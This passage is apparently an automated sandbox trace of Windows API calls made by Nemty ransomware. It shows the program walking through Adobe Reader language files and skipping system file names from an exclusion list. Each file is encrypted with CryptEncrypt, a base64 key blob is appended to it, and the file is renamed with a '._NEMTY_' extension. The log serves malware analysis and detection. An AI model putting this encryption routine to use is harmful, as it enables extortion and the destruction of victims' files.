pszString="DD0VAB69AYH6Xo391CdAUK7uW7haY7m5E07f/mT/p98+pU2PYhChxVcd8anJJfSs\r\nN/AmZQfuF/SlhJzcYtlyjModKypuQpaXSVxsNDqRR1P8OAweYzSVZhX5R2MyD1xI\r\nBGcxnKf+nqrJfjxfM6EKJz2sc/HhjhW/i3G+utJIEIhdWB+9YWv1HKbGFPPV1ZrP\r\nHQ3yn9kj1sxn5dvXX1zjGAzFhumIUWlmF1nntSsHoDOFlEy37yeqb3mi4miU/gCg\r\nQ7IyNzuUYjfHnCgAW3zisVaRLsnFqE4nhyRfqjzec506APZmkfK6kRs87o7psSB6\r\nP/tLrL2SdarhLEYc4+RuoA==\r\n", pcchString=0x653e5dc) returned 1 [0214.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.655] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.655] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.655] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.655] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.659] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.659] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.659] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.659] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.659] CloseHandle (hObject=0x2e8) returned 1 [0214.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.659] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt._nemty_kgobjgd_")) returned 1 [0214.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.660] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_IN.txt", cAlternateFileName="DI4FA4~1.TXT")) returned 1 [0214.660] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2=".") returned 1 [0214.660] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="..") returned 1 [0214.660] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="...") returned 1 [0214.660] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="windows") returned -1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="rsa") returned -1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="NTDETECT.COM") returned -1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="ntldr") returned -1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="MSDOS.SYS") returned -1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="IO.SYS") returned -1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="boot.ini") returned 1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="boot.ini") returned 1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="ntuser.dat") returned -1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="desktop.ini") returned 1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="CONFIG.SYS") returned 1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="RECYCLER") returned -1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="bootmgr") returned 1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="programdata") returned -1 [0214.661] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2="appdata") returned 1 [0214.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_IN.txt", lpUsedDefaultChar=0x0) returned 30 [0214.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_IN.txt", lpUsedDefaultChar=0x0) returned 30 [0214.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_IN.txt", lpUsedDefaultChar=0x0) returned 30 [0214.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_IN.txt", lpUsedDefaultChar=0x0) returned 30 [0214.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.662] Sleep (dwMilliseconds=0x5) [0214.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33972cb0, dwHighDateTime=0x1d561e8)) [0214.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33972cb0, dwHighDateTime=0x1d561e8)) [0214.669] GetLastError () returned 0x0 [0214.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.670] GetLastError () returned 0x0 [0214.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.670] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.670] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.670] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.670] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="ulRCgWRhonBkkxOygATyX6/eh5W5mCOG4ZfF6jq4wJHPlE6PMC0aCni9I5Nj4hO9\r\n999o+rKxdMDLRj+uAFLpERMwphm47o461gkywqxn3BFsgC3GJ10PftpJnpZv/OGD\r\nvmDsTe3wHt6Dzsztfw0mTKXujpJtGES806sonEQ85OTJVg4TNiQIXhLMfv1JuY81\r\ngcFQx9zvwkcYlfPTezFwzqSBzRriaKPZw9f6Gh+juWu8T87EWtA9JpQGzaDTw2wl\r\nSWH9kUqwT+t2Ddv/vRmVa3ScYF0b+GsvicWCRRnK4a8QmAMscsOIdIS9EZcsm5am\r\nubj7fzPEzx/S2DZLOSR/aw==\r\n", pcchString=0x653e5dc) returned 1 [0214.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.670] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.671] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.671] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.671] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.674] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.674] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.675] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.675] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.675] CloseHandle (hObject=0x2e8) returned 1 [0214.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.675] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt._nemty_kgobjgd_")) returned 1 [0214.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.676] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_IQ.txt", cAlternateFileName="DI3F41~1.TXT")) returned 1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2=".") returned 1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="..") returned 1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="...") returned 1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="windows") returned -1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="rsa") returned -1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="NTDETECT.COM") returned -1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="ntldr") returned -1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="MSDOS.SYS") returned -1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="IO.SYS") returned -1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="boot.ini") returned 1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="boot.ini") returned 1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.676] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="ntuser.dat") returned -1 [0214.677] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="desktop.ini") returned 1 [0214.677] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="CONFIG.SYS") returned 1 [0214.677] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="RECYCLER") returned -1 [0214.677] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.677] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="bootmgr") returned 1 [0214.677] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="programdata") returned -1 [0214.677] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2="appdata") returned 1 [0214.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IQ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IQ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_IQ.txt", lpUsedDefaultChar=0x0) returned 30 [0214.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IQ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IQ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_IQ.txt", lpUsedDefaultChar=0x0) 